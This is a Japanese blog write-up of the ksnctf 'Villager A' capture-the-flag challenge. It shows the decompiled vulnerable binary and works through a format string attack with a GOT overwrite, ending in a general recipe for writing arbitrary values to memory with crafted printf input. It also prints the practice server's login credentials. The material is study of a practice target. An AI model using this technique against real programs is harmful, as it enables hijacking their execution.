【ksnctf】Villager A【writeup】

技術
ssh q4@ctfq.u1tramarine.blue -p 10004
Password: q60SIMpLlej9eq49
RSA key fingerprint (MD5): 7b:66:e1:98:96:50:94:ad:ef:d9:9a:a2:87:f2:2b:66
RSA key fingerprint (SHA-256): LBqdPUUa6DGkF6+BSQfNrILUDplXcgxzAUIiW/DeFQ8

自力でできたところ

とりあえずログインする

[q4@eceec62b961b ~]$ pwd
/home/q4
[q4@eceec62b961b ~]$ ll
total 32
dr-xr-xr-x 1 root root 4096 Feb 27  2021 ./
drwxr-xr-x 1 root root 4096 Feb 27  2021 ../
-rw-r--r-- 1 root root   18 Jul 21  2020 .bash_logout
-rw-r--r-- 1 root root  141 Jul 21  2020 .bash_profile
-rw-r--r-- 1 root root  456 Feb 27  2021 .bashrc
-r--r----- 1 root q4a    22 Feb 26  2021 flag.txt
-r-xr-sr-x 1 root q4a  5857 Feb 26  2021 q4*

flagファイルと実行ファイル以外怪しいものはなかった

実行してみた

[q4@eceec62b961b ~]$ ./q4
What's your name?
aaa
Hi, aaa

Do you want the flag?
bbb
Do you want the flag?
yes
Do you want the flag?
no
I see. Good bye.

実行してみたがよくわからないのでデコンパイル

% scp -P 10004 q4@ctfq.u1tramarine.blue:/home/q4/q4 .
undefined4 main(void)

{
  char *pcVar1;
  int iVar2;
  char local_418 [1024];
  int local_18;
  FILE *local_14;
  
  puts("What\'s your name?");
  fgets(local_418,0x400,stdin);
  printf("Hi, ");
  printf(local_418);
  putchar(10);
  local_18 = 1;
  while( true ) {
    if (local_18 == 0) {
      local_14 = fopen("flag.txt","r");
      fgets(local_418,0x400,local_14);
      printf(local_418);
      return 0;
    }
    puts("Do you want the flag?");
    pcVar1 = fgets(local_418,0x400,stdin);
    if (pcVar1 == (char *)0x0) break;
    iVar2 = strcmp(local_418,"no\n");
    if (iVar2 == 0) {
      puts("I see. Good bye.");
      return 0;
    }
  }
  return 0;
}

ここからwrite upをみました

ksnctf #4 Villager A 初めての書式文字列攻撃。
LinuxやMac,競技プログラミング,CTFなどに関するブログ。

これだけでは理解が追いつかなかった

まだ理解できた動画(書式文字列攻撃)

自分なりに理解した内容のまとめ

format string attack(書式文字列攻撃)

自由な値を自由なアドレスに書き込むことができる

GOT (Global Offset Table) overwrite

関数を呼び出すときに参照するアドレステーブルを書き換える手法(多分こんな感じ)

今回は format string attack + GOT (Global Offset Table) overwriteという手法

FSAを利用し、GOTのアドレス値を上書きすることにより、プログラムのコードをジャンプする

undefined4 main(void)

{
〜〜〜略〜〜〜
  printf(local_418); //次行のputcharのアドレスを、fopenのアドレスに上書きをする
  putchar(10); //ここは実行されず
  local_18 = 1;
  while( true ) {
    if (local_18 == 0) {
      local_14 = fopen("flag.txt","r"); //ここにジャンプする
      fgets(local_418,0x400,local_14);
      printf(local_418);
      return 0;
    }
〜〜〜略〜〜〜
}

putchar関数を指すアドレス: 0x080499e0

ジャンプ先(にしたい)アドレス:0x08048691

printfについてまとめる

[q4@eceec62b961b ~]$ echo -e "AAAA,%p,%p,%p,%p,%p,%p,%p,%p" | ./q4
What's your name?
Hi, AAAA,0x400,0xf7c41580,0xffe323f8,0x6,(nil),0x41414141,0x2c70252c,0x252c7025
printf("\xe0\x99\x04\x08,%p,%p,%p,%p,%p,%p,%p,%p")

↓と同義になっている

printf("\xe0\x99\x04\x08,%p,%p,%p,%p,%p,%p,%p,%p",【0x400】, 【0xf7c41580】,【0xffe323f8】, 【0x6】, 【(nil)】, 【0x80499e0】, 【0x2c70252c】, 【0x252c7025】)

printf("\xe0\x99\x04\x08,%6$p",【0x80499e0】)
  • printf(“ABCD%6$n“, 0x01, 0x02, 0x03, 0x04, 0x05, 0x000006 ) の場合、アドレス0x000006番地に、ABCDのバイト数→0x4を書き込むことができる
  • 今回の問題では、
  • printf(“ABCD%6$n“) とした場合、今回は6つ目にABCD=(リトルエンディアンで?)0x44434241が書き込まれ、アドレス0x44434241番地に、ABCDのバイト数→0x4を書き込まれる
  • printf(“\xe0\x99\x04\x08%6$n“) とした場合、6つ目に0x080499e0が書き込まれ、アドレス0x080499e0番地に、\xe0\x00\x04\x08のバイト数→0x4を書き込まれる
  • 今回は、0x080499e0番地に、fopenの行のアドレス=0x0804869=(10進数)134514321を書き込みたい。
    • 134514321を書き込みたいので、%6$nの前に134514321文字(バイト)を出力する必要がある
    • 今回冒頭に4バイト(アドレス)記述しているため、-4した134514317バイトを、4バイトアドレスの後に出力したい。
  • printf(“\xe0\x99\x04\x08%134514317x%6$n“) とした場合、6つ目に0x080499e0が書き込まれ、アドレス0x080499e0番地に、\xe0\x99\x04\x08%134514317x のバイト数→(10進数)134514321=0x08048691を書き込まれる
    • なので出力は 0x080499e0【莫大な桁で1番目の0x400になり、0x080499e0番地に、0x08048691が書き込まれる

自分なりに理解した内容のまとめ

書式文字列攻撃をする場合のまとめ

  1. まず AAAA%p,%p・・・%pを入力し、0x41414141が番目に出現するか確認する
  2. 書き込みたいアドレス番地を特定 例:0xaabbccdd ※環境によっては後ほどリトルエンディアンで記述
  3. 書き込みたい値を決定し、値から4を引いた値を、10進数にする
  4. echo -e “\xdd\xcc\xbb\xaa%{10進数}x%何番目$n” をパイプで入力する

多分こんな感じ(ここまで理解するのに10時間ぐらいかけました…

コメント

タイトルとURLをコピーしました